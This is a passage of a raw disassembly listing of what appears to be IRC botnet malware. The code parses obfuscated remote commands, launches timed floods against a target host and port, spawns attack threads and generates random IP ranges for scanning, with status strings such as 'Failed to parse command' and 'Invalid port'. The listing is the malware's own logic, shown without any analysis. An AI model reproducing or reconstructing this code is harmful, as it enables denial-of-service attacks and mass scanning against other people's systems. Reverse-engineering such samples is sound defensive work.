		test	eax, eax
		jnz	loc_4139A6
		cmp	[ebp+arg_C], eax
		jz	short loc_413962
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41394B
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41394B
		push	offset dword_457CF8
		push	dword ptr [ebx+8]
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_413962
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_41394B:				; CODE XREF: sub_40A9FE+8F25j
					; sub_40A9FE+8F38j
		push	offset dword_457CF8
		push	dword ptr [ebx+8]
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414995


loc_413962:				; CODE XREF: sub_40A9FE+8F12j
					; sub_40A9FE+8F46j
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41399C
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41399C
		push	offset dword_457CF8
		jmp	loc_413A42
; ---------------------------------------------------------------------------


loc_41399C:				; CODE XREF: sub_40A9FE+8F7Fj
					; sub_40A9FE+8F92j
		push	offset dword_457CF8
		jmp	loc_413A55
; ---------------------------------------------------------------------------


loc_4139A6:				; CODE XREF: sub_40A9FE+8F09j
		push	dword ptr [ebx+4]
		push	offset aWrlthN3uh_1 ; "WRlth/n3Uh.1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_413A68
		cmp	[ebp+arg_C], eax
		jz	short loc_413A0D
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4139F6
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4139F6
		push	offset dword_457C40
		push	dword ptr [ebx+8]
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_413A0D
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_4139F6:				; CODE XREF: sub_40A9FE+8FD0j
					; sub_40A9FE+8FE3j
		push	offset dword_457C40
		push	dword ptr [ebx+8]
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414995


loc_413A0D:				; CODE XREF: sub_40A9FE+8FBDj
					; sub_40A9FE+8FF1j
		cmp	[ebp+arg_68], 0
		jz	loc_413A99
		push	offset dword_43D664
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413A50
		push	offset a?	; "?"
		push	dword ptr [ebx+8]
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413A50
		push	offset dword_457C40


loc_413A42:				; CODE XREF: sub_40A9FE+87DEj
					; sub_40A9FE+893Bj ...
		push	dword ptr [ebx+8]
		call	edi ; dword_437178


loc_413A47:				; CODE XREF: sub_40A9FE+8BF8j
		test	eax, eax


loc_413A49:				; CODE XREF: sub_40A9FE+8DD0j
					; sub_40A9FE+8E03j ...
		jnz	short loc_413A99
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_413A50:				; CODE XREF: sub_40A9FE+902Aj
					; sub_40A9FE+903Dj
		push	offset dword_457C40


loc_413A55:				; CODE XREF: sub_40A9FE+8FA3j
		push	dword ptr [ebx+8]


loc_413A58:				; CODE XREF: sub_40A9FE+87FDj
		call	sub_427B4E
		pop	ecx


loc_413A5E:				; CODE XREF: sub_40A9FE+8AB4j
		pop	ecx


loc_413A5F:				; CODE XREF: sub_40A9FE+9099j
		test	eax, eax


loc_413A61:				; CODE XREF: sub_40A9FE+8AF2j
					; sub_40A9FE+8AFAj
		jz	short loc_413A99
		jmp	loc_414995
; ---------------------------------------------------------------------------


loc_413A68:				; CODE XREF: sub_40A9FE+8FB4j
		push	dword ptr [ebx+4]
		push	offset aYqjsn0wtutn1 ; "yQJsn0wtUtn1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_413C4C
		cmp	[ebp+arg_C], eax
		mov	eax, dword_456DA8
		mov	[ebp+arg_8], 2
		jz	short loc_413A93
		test	eax, eax
		jz	loc_414995


loc_413A93:				; CODE XREF: sub_40A9FE+908Bj
		cmp	[ebp+arg_68], 0
		jnz	short loc_413A5F


loc_413A99:				; CODE XREF: sub_40A9FE+87A9j
					; sub_40A9FE+890Aj ...
		mov	edi, [ebp+arg_8]
		mov	eax, [ebx+edi*4]
		test	eax, eax
		jnz	short loc_413AE1
		cmp	[ebp+arg_14], eax
		mov	edi, offset aSS_1 ; "%s	%s"
		mov	ebx, offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
		jnz	short loc_413ACC
		cmp	[ebp+arg_18], eax
		jnz	short loc_413AD6
		push	ebx
		push	offset aPtami1_agv ; "PTaMI1/.aGV/"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_413ACC:				; CODE XREF: sub_40A9FE+90B2j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_413AD6:				; CODE XREF: sub_40A9FE+90B7j
		push	ebx
		push	offset aPtami1_agv ; "PTaMI1/.aGV/"
		jmp	loc_40C891
; ---------------------------------------------------------------------------


loc_413AE1:				; CODE XREF: sub_40A9FE+90A3j
		push	eax
		lea	eax, [ebp+var_C130]
		push	offset aS_5	; "%s"
		push	eax
		call	sub_429B03
		add	esp, 0Ch
		jmp	short loc_413B27
; ---------------------------------------------------------------------------


loc_413AF8:				; CODE XREF: sub_40A9FE+912Dj
		mov	eax, [ebx+edi*4]
		test	eax, eax
		jz	short loc_413B27
		push	eax
		lea	eax, [ebp+var_6DBB0]
		push	offset aS_1	; " %s"
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_6DBB0]
		push	eax
		lea	eax, [ebp+var_C130]
		push	eax
		call	sub_42A5E0
		add	esp, 14h


loc_413B27:				; CODE XREF: sub_40A9FE+90F8j
					; sub_40A9FE+90FFj
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_413AF8
		mov	al, [ebp+var_C130]
		cmp	al, byte_4439A0
		jz	short loc_413B74
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aSFailedToParse ; "%s Failed to parse command."
		jnz	short loc_413B60
		cmp	[ebp+arg_18], 0
		jnz	short loc_413B6A
		push	offset aPtami1_agv ; "PTaMI1/.aGV/"
		push	ebx
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_413B60:				; CODE XREF: sub_40A9FE+9146j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_413B6A:				; CODE XREF: sub_40A9FE+914Cj
		push	offset aPtami1_agv ; "PTaMI1/.aGV/"
		jmp	loc_40D2C8
; ---------------------------------------------------------------------------


loc_413B74:				; CODE XREF: sub_40A9FE+913Bj
		lea	eax, [ebp+var_C130]
		xor	edi, edi
		push	eax
		call	sub_4293A0
		test	eax, eax
		pop	ecx
		jbe	short loc_413BE8


loc_413B87:				; CODE XREF: sub_40A9FE+91E8j
		lea	eax, [ebp+edi+var_C130]
		cmp	byte ptr [eax],	5Fh
		jnz	short loc_413BA0
		cmp	[ebp+edi+var_C131], 20h
		jnz	short loc_413BA0
		mov	byte ptr [eax],	2Dh


loc_413BA0:				; CODE XREF: sub_40A9FE+9193j
					; sub_40A9FE+919Dj
		cmp	byte ptr [eax],	2Bh
		jnz	short loc_413BB2
		cmp	[ebp+edi+var_C131], 20h
		jnz	short loc_413BB2
		mov	byte ptr [eax],	5Fh


loc_413BB2:				; CODE XREF: sub_40A9FE+91A5j
					; sub_40A9FE+91AFj
		cmp	byte ptr [eax],	5Eh
		jnz	short loc_413BC4
		cmp	[ebp+edi+var_C131], 20h
		jnz	short loc_413BC4
		mov	byte ptr [eax],	2Bh


loc_413BC4:				; CODE XREF: sub_40A9FE+91B7j
					; sub_40A9FE+91C1j
		cmp	byte ptr [eax],	60h
		jnz	short loc_413BD6
		cmp	[ebp+edi+var_C131], 20h
		jnz	short loc_413BD6
		mov	byte ptr [eax],	5Eh


loc_413BD6:				; CODE XREF: sub_40A9FE+91C9j
					; sub_40A9FE+91D3j
		lea	eax, [ebp+var_C130]
		inc	edi
		push	eax
		call	sub_4293A0
		cmp	edi, eax
		pop	ecx
		jb	short loc_413B87


loc_413BE8:				; CODE XREF: sub_40A9FE+9187j
		xor	ebx, ebx
		mov	edi, offset aSShouldRunS_ ; "%s	Should run: \"%s\"."
		cmp	[ebp+arg_20], ebx
		jz	short loc_413C14
		cmp	[ebp+arg_18], ebx
		jnz	short loc_413C19
		lea	eax, [ebp+var_C130]
		push	eax
		push	offset aPtami1_agv ; "PTaMI1/.aGV/"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 14h


loc_413C14:				; CODE XREF: sub_40A9FE+91F4j
		cmp	[ebp+arg_18], ebx
		jz	short loc_413C33


loc_413C19:				; CODE XREF: sub_40A9FE+91F9j
		lea	eax, [ebp+var_C130]
		push	eax
		push	offset aPtami1_agv ; "PTaMI1/.aGV/"
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 14h


loc_413C33:				; CODE XREF: sub_40A9FE+9219j
		push	ebx
		lea	eax, [ebp+var_C130]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	eax
		call	sub_40A935
		jmp	loc_41479B
; ---------------------------------------------------------------------------


loc_413C4C:				; CODE XREF: sub_40A9FE+9076j
		xor	eax, eax
		mov	edi, offset aPtami1_agv	; "PTaMI1/.aGV/"
		cmp	[ebp+arg_14], eax
		mov	ebx, offset aSFailedToParse ; "%s Failed to parse command."
		jnz	loc_40D2BD
		cmp	[ebp+arg_18], eax
		jnz	loc_40D2C7
		cmp	[ebp+arg_20], eax
		jz	loc_414995
		jmp	loc_40D2AD
; ---------------------------------------------------------------------------


loc_413C78:				; CODE XREF: sub_40A9FE+85FBj
					; sub_40A9FE+8604j
		mov	edi, offset aPtami1_agv	; "PTaMI1/.aGV/"
		jmp	loc_41475B
; ---------------------------------------------------------------------------


loc_413C82:				; CODE XREF: sub_40A9FE+6BC2j
					; sub_40A9FE+6BD3j ...
		xor	eax, eax
		cmp	[ebx+4], eax
		jz	loc_413E98
		cmp	[ebx+8], eax
		jz	loc_413E98
		cmp	[ebx+0Ch], eax
		jz	loc_413E98
		cmp	[ebx+10h], eax
		jz	loc_413E98
		push	0Dh
		call	sub_423800
		cmp	eax, 32h
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_413CFC
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		jnz	short loc_413CE4
		cmp	[ebp+arg_18], 0
		jnz	short loc_413CEE
		push	eax
		push	ebx
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_413CE4:				; CODE XREF: sub_40A9FE+92C8j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_413CEE:				; CODE XREF: sub_40A9FE+92CEj
		push	[ebp+arg_C]
		push	ebx


loc_413CF2:				; CODE XREF: sub_40A9FE+9482j
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		jmp	loc_41491C
; ---------------------------------------------------------------------------


loc_413CFC:				; CODE XREF: sub_40A9FE+92B8j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_1D80],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_1D84],	eax
		test	eax, eax
		lea	eax, [ebp+var_1E18]
		jnz	short loc_413D1D
		push	dword ptr [esi+0Ch]
		jmp	short loc_413D1F
; ---------------------------------------------------------------------------


loc_413D1D:				; CODE XREF: sub_40A9FE+9318j
		push	dword ptr [esi]


loc_413D1F:				; CODE XREF: sub_40A9FE+931Dj
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	eax, [ebp+arg_10]
		push	7Fh
		mov	[ebp+var_1F1C],	eax
		push	dword ptr [ebx+4]
		lea	eax, [ebp+var_1F18]
		push	eax
		call	sub_429D10
		push	dword ptr [ebx+8]
		call	sub_42A100
		mov	[ebp+var_1D94],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		mov	[ebp+var_1D90],	eax
		push	dword ptr [ebx+10h]
		call	sub_42A100
		add	esp, 18h
		cmp	eax, 1
		mov	[ebp+var_1D8C],	eax
		jge	short loc_413D81
		mov	edi, offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"


loc_413D77:				; CODE XREF: sub_40A9FE+6F4Aj
					; sub_40A9FE+7476j ...
		mov	ebx, offset aSNoDelay_ ; "%s No	delay."
		jmp	loc_40D2A1
; ---------------------------------------------------------------------------


loc_413D81:				; CODE XREF: sub_40A9FE+9372j
		push	7Fh
		lea	eax, [ebp+var_1E98]
		push	dword ptr [ebx]
		push	eax
		call	sub_429D10
		xor	eax, eax
		cmp	[ebp+arg_60], eax
		setnz	al
		mov	[ebp+var_1D88],	eax
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		add	esp, 10h
		push	eax
		push	dword ptr [ebx+8]
		call	sub_42A100
		pop	ecx
		push	eax
		push	dword ptr [ebx+4]
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		push	offset aSSDForDSecs__0 ; "%s --> (%s:%d) for %d	secs."
		push	0Dh
		call	sub_4234A7
		add	esp, 18h
		mov	[ebp+var_1D98],	eax
		push	dword ptr [ebx]
		push	offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_413E0A
		push	dword ptr [ebx]
		push	offset a6x7zf1eztny_ ; "6x7zf1EztnY."
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_413E0A
		push	dword ptr [ebx]
		push	offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
		call	edi ; dword_437178
		test	eax, eax
		jz	short loc_413E0A
		push	dword ptr [ebx]
		push	offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	loc_414995


loc_413E0A:				; CODE XREF: sub_40A9FE+93DFj
					; sub_40A9FE+93ECj ...
		lea	eax, [ebp+arg_0]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_1F1C]
		push	ebx
		push	eax
		push	offset sub_422E10
		push	ebx
		push	ebx
		call	dword_437180	; CreateThread
		mov	ecx, [ebp+var_1D98]
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		imul	ecx, 2724h
		cmp	eax, ebx
		mov	ebx, dword_437170
		mov	dword_46D72C[ecx], eax
		jnz	short loc_413E8D
		cmp	[ebp+arg_14], 0
		jnz	short loc_413E6E
		cmp	[ebp+arg_18], 0
		jnz	short loc_413E78
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_413E6E:				; CODE XREF: sub_40A9FE+944Cj
					; sub_40A9FE+9498j
		cmp	[ebp+arg_18], 0
		jz	loc_414995


loc_413E78:				; CODE XREF: sub_40A9FE+9452j
		call	ebx ; dword_437170
		push	eax
		push	offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
		jmp	loc_413CF2
; ---------------------------------------------------------------------------


loc_413E85:				; CODE XREF: sub_40A9FE+9496j
		push	32h
		call	dword_437190	; Sleep


loc_413E8D:				; CODE XREF: sub_40A9FE+9446j
		cmp	[ebp+var_1D7C],	0
		jz	short loc_413E85
		jmp	short loc_413E6E
; ---------------------------------------------------------------------------


loc_413E98:				; CODE XREF: sub_40A9FE+9289j
					; sub_40A9FE+9292j ...
		mov	edi, offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		jmp	loc_41475B
; ---------------------------------------------------------------------------


loc_413EA2:				; CODE XREF: sub_40A9FE+6435j
					; sub_40A9FE+6446j ...
		xor	eax, eax
		cmp	[ebx+4], eax
		jz	loc_414756
		cmp	[ebx+8], eax
		jz	loc_414756
		cmp	[ebx+0Ch], eax
		jz	loc_414756
		push	8
		call	sub_423800
		push	dword ptr [ebx+4]
		mov	[ebp+arg_C], eax
		call	sub_42A100
		add	eax, [ebp+arg_C]
		pop	ecx
		pop	ecx
		cmp	eax, 1C2h
		jle	short loc_413F20


loc_413EDD:				; CODE XREF: sub_40A9FE+5EAEj
		xor	ebx, ebx
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		cmp	[ebp+arg_14], ebx
		jnz	short loc_413F0A
		cmp	[ebp+arg_18], ebx
		jnz	short loc_413F13
		push	[ebp+arg_C]
		push	offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_413F0A:				; CODE XREF: sub_40A9FE+94E9j
		cmp	[ebp+arg_18], ebx
		jz	loc_414995


loc_413F13:				; CODE XREF: sub_40A9FE+94EEj
		push	[ebp+arg_C]
		push	offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		jmp	loc_410D53
; ---------------------------------------------------------------------------


loc_413F20:				; CODE XREF: sub_40A9FE+94DDj
		push	dword ptr [ebx]
		xor	eax, eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_1C], eax
		push	offset aSxytb1_eejq_ ; "SXYtb1.EEjQ."
		mov	[ebp+var_28], eax
		mov	dword ptr [ebp+var_14],	eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	dword ptr [ebp+var_C+4], eax
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413F56
		mov	eax, dword_43A8C8
		mov	[ebp+var_4], 1
		mov	[ebp+arg_8], eax


loc_413F56:				; CODE XREF: sub_40A9FE+9547j
		push	dword ptr [ebx]
		push	offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413F72
		mov	eax, dword_43A8CC
		mov	[ebp+var_1C], 1
		mov	[ebp+arg_8], eax


loc_413F72:				; CODE XREF: sub_40A9FE+9563j
		push	dword ptr [ebx]
		push	offset a8im6i__c829_ ; "8Im6i..C829."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413F8E
		mov	eax, dword_43A8D0
		mov	[ebp+var_28], 1
		mov	[ebp+arg_8], eax


loc_413F8E:				; CODE XREF: sub_40A9FE+957Fj
		push	dword ptr [ebx]
		push	offset aTiyj208fhvn_ ; "tIYj208FHvN."
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413FAA
		mov	eax, dword_43A8D4
		mov	dword ptr [ebp+var_14],	1
		mov	[ebp+arg_8], eax


loc_413FAA:				; CODE XREF: sub_40A9FE+959Bj
		push	dword ptr [ebx]
		push	offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413FC6
		mov	eax, dword_43A8D8
		mov	[ebp+var_24], 1
		mov	[ebp+arg_8], eax


loc_413FC6:				; CODE XREF: sub_40A9FE+95B7j
		push	dword ptr [ebx]
		push	offset aMdf9n0kzpx60 ; "mdf9n0kzPX60"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413FE2
		mov	eax, dword_43A8DC
		mov	[ebp+var_18], 1
		mov	[ebp+arg_8], eax


loc_413FE2:				; CODE XREF: sub_40A9FE+95D3j
		push	dword ptr [ebx]
		push	offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_413FFE
		mov	eax, dword_43A8E0
		mov	[ebp+var_20], 1
		mov	[ebp+arg_8], eax


loc_413FFE:				; CODE XREF: sub_40A9FE+95EFj
		push	dword ptr [ebx]
		push	offset aFu6k10irsc1 ; "fu6k10iRsc/1"
		call	edi ; dword_437178
		test	eax, eax
		jnz	short loc_41401A
		mov	eax, dword_43A8E4
		mov	dword ptr [ebp+var_C+4], 1
		mov	[ebp+arg_8], eax


loc_41401A:				; CODE XREF: sub_40A9FE+960Bj
		push	8
		call	sub_423800
		push	dword ptr [ebx+4]
		mov	[ebp+arg_C], eax
		call	sub_42A100
		add	eax, [ebp+arg_C]
		pop	ecx
		pop	ecx
		mov	edi, offset aSSD_ ; "%s	%s (%d)."
		cmp	eax, 1C2h
		jle	short loc_414086
		cmp	[ebp+arg_14], 0
		jnz	short loc_414065
		cmp	[ebp+arg_18], 0
		jnz	short loc_41406B
		push	[ebp+arg_C]
		push	offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 18h


loc_414065:				; CODE XREF: sub_40A9FE+9643j
		cmp	[ebp+arg_18], 0
		jz	short loc_414086


loc_41406B:				; CODE XREF: sub_40A9FE+9649j
		push	[ebp+arg_C]
		push	offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	edi
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 18h


loc_414086:				; CODE XREF: sub_40A9FE+963Dj
					; sub_40A9FE+966Bj
		and	[ebp+arg_68], 0
		cmp	[ebp+arg_8], 0
		jle	loc_414995


loc_414094:				; CODE XREF: sub_40A9FE+9C32j
		push	dword ptr [ebx+4]
		call	sub_42A100
		cdq
		idiv	[ebp+arg_8]
		mov	[ebp+var_BC], eax
		push	dword ptr [ebx+4]
		call	sub_42A100
		cdq
		idiv	[ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 64h
		jle	short loc_4140C3
		mov	[ebp+var_BC], 64h


loc_4140C3:				; CODE XREF: sub_40A9FE+96B9j
		push	dword ptr [ebx+8]
		call	sub_42A100
		cmp	eax, 1
		pop	ecx
		mov	[ebp+var_D0], eax
		jnb	short loc_4140E0
		xor	eax, eax
		inc	eax
		mov	[ebp+var_D0], eax


loc_4140E0:				; CODE XREF: sub_40A9FE+96D7j
		push	3
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4140ED
		mov	[ebp+var_D0], ecx


loc_4140ED:				; CODE XREF: sub_40A9FE+96E7j
		push	dword ptr [ebx+0Ch]
		call	sub_42A100
		cmp	eax, 270Fh
		pop	ecx
		mov	[ebp+var_CC], eax
		jbe	short loc_41410D
		mov	[ebp+var_CC], 270Fh


loc_41410D:				; CODE XREF: sub_40A9FE+9703j
		mov	eax, [ebp+arg_14]
		or	[ebp+var_B8], 0FFFFFFFFh
		and	[ebp+arg_C], 0
		cmp	dword_43A378, 0
		mov	dword_454A48, eax
		mov	eax, [ebp+arg_20]
		mov	dword_454A4C, eax
		mov	eax, [ebp+arg_18]
		mov	dword_454A50, eax
		jz	loc_41427C
		mov	[ebp+arg_4], offset aD1	; "d1"


loc_414144:				; CODE XREF: sub_40A9FE+985Cj
		cmp	[ebp+var_4], 0
		jz	short loc_414167
		mov	eax, [ebp+arg_68]
		shl	eax, 4
		add	eax, offset dword_43A7C8
		push	eax
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	loc_414262


loc_414167:				; CODE XREF: sub_40A9FE+974Aj
		cmp	[ebp+var_1C], 0
		jz	short loc_41418A
		mov	eax, [ebp+arg_68]
		shl	eax, 4
		add	eax, offset dword_43A7E8
		push	eax
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	loc_414262


loc_41418A:				; CODE XREF: sub_40A9FE+976Dj
		cmp	[ebp+var_28], 0
		jz	short loc_4141AD
		mov	eax, [ebp+arg_68]
		shl	eax, 4
		add	eax, offset dword_43A808
		push	eax
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	loc_414262


loc_4141AD:				; CODE XREF: sub_40A9FE+9790j
		cmp	dword ptr [ebp+var_14],	0
		jz	short loc_4141D0
		mov	eax, [ebp+arg_68]
		shl	eax, 4
		add	eax, offset dword_43A828
		push	eax
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	loc_414262


loc_4141D0:				; CODE XREF: sub_40A9FE+97B3j
		cmp	[ebp+var_24], 0
		jz	short loc_4141EF
		mov	eax, [ebp+arg_68]
		shl	eax, 4
		add	eax, offset dword_43A848
		push	eax
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_414262


loc_4141EF:				; CODE XREF: sub_40A9FE+97D6j
		cmp	[ebp+var_18], 0
		jz	short loc_41420E
		mov	eax, [ebp+arg_68]
		shl	eax, 4
		add	eax, offset dword_43A868
		push	eax
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_414262


loc_41420E:				; CODE XREF: sub_40A9FE+97F5j
		cmp	[ebp+var_20], 0
		jz	short loc_41422D
		mov	eax, [ebp+arg_68]
		shl	eax, 4
		add	eax, offset dword_43A888
		push	eax
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_414262


loc_41422D:				; CODE XREF: sub_40A9FE+9814j
		cmp	dword ptr [ebp+var_C+4], 0
		jz	short loc_41424C
		mov	eax, [ebp+arg_68]
		shl	eax, 4
		add	eax, offset dword_43A8A8
		push	eax
		push	[ebp+arg_4]
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	short loc_414262


loc_41424C:				; CODE XREF: sub_40A9FE+9833j
		add	[ebp+arg_4], 40h
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+30h], 0
		jnz	loc_414144
		jmp	short loc_41427C
; ---------------------------------------------------------------------------


loc_414262:				; CODE XREF: sub_40A9FE+9763j
					; sub_40A9FE+9786j ...
		mov	eax, [ebp+arg_C]
		mov	ecx, eax
		mov	[ebp+var_B8], eax
		shl	ecx, 6
		mov	ecx, dword_43A378[ecx]
		mov	[ebp+var_D4], ecx


loc_41427C:				; CODE XREF: sub_40A9FE+9739j
					; sub_40A9FE+9862j
		xor	ecx, ecx
		cmp	[ebp+var_D4], ecx
		jnz	short loc_4142CE
		cmp	[ebp+arg_14], ecx
		jnz	short loc_4142A8
		cmp	[ebp+arg_18], ecx
		jnz	short loc_4142B2
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	offset aSInvalidPort_ ;	"%s Invalid port."
		push	dword ptr [esi+0Ch]
		push	[ebp+arg_10]
		call	sub_41CE4A
		add	esp, 10h


loc_4142A8:				; CODE XREF: sub_40A9FE+988Bj
		cmp	[ebp+arg_18], 0
		jz	loc_414627


loc_4142B2:				; CODE XREF: sub_40A9FE+9890j
		push	offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
		push	offset aSPortInvalid_ ;	"%s Port invalid."
		push	dword ptr [esi]
		push	[ebp+arg_10]
		call	sub_41CDD4
		add	esp, 10h
		jmp	loc_414627
; ---------------------------------------------------------------------------


loc_4142CE:				; CODE XREF: sub_40A9FE+9886j
		mov	eax, [ebx+10h]
		cmp	eax, ecx
		jz	loc_414360
		push	eax
		push	offset aX_x_x_x	; "x.x.x.x"
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jnz	short loc_414331
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		pop	ecx


loc_4142F6:				; CODE XREF: sub_40A9FE+990Bj
		call	sub_429B9C
		cdq
		mov	ecx, 0E1h
		idiv	ecx
		add	edx, 4
		cmp	edx, 7Fh
		jz	short loc_4142F6
		push	edx
		push	offset aD_x_x_x	; "%d.x.x.x"
		lea	eax, [ebp+var_164]
		push	10h
		push	eax
		call	sub_429BBE
		add	esp, 10h


loc_414322:				; CODE XREF: sub_40A9FE+9ADDj
					; sub_40A9FE+9AE5j ...
		mov	[ebp+var_A8], 1
		jmp	loc_414514
; ---------------------------------------------------------------------------


loc_414331:				; CODE XREF: sub_40A9FE+98E9j
		push	dword ptr [ebx+10h]
		lea	eax, [ebp+var_164]
		push	10h
		push	eax
		call	sub_429BBE
		push	78h
		push	dword ptr [ebx+10h]
		call	sub_42B1A0
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax


loc_414355:				; CODE XREF: sub_40A9FE+9A5Bj
		mov	[ebp+var_A8], eax
		jmp	loc_414514
; ---------------------------------------------------------------------------


loc_414360:				; CODE XREF: sub_40A9FE+98D5j
		cmp	[ebp+arg_64], ecx
		jnz	short loc_4143B1
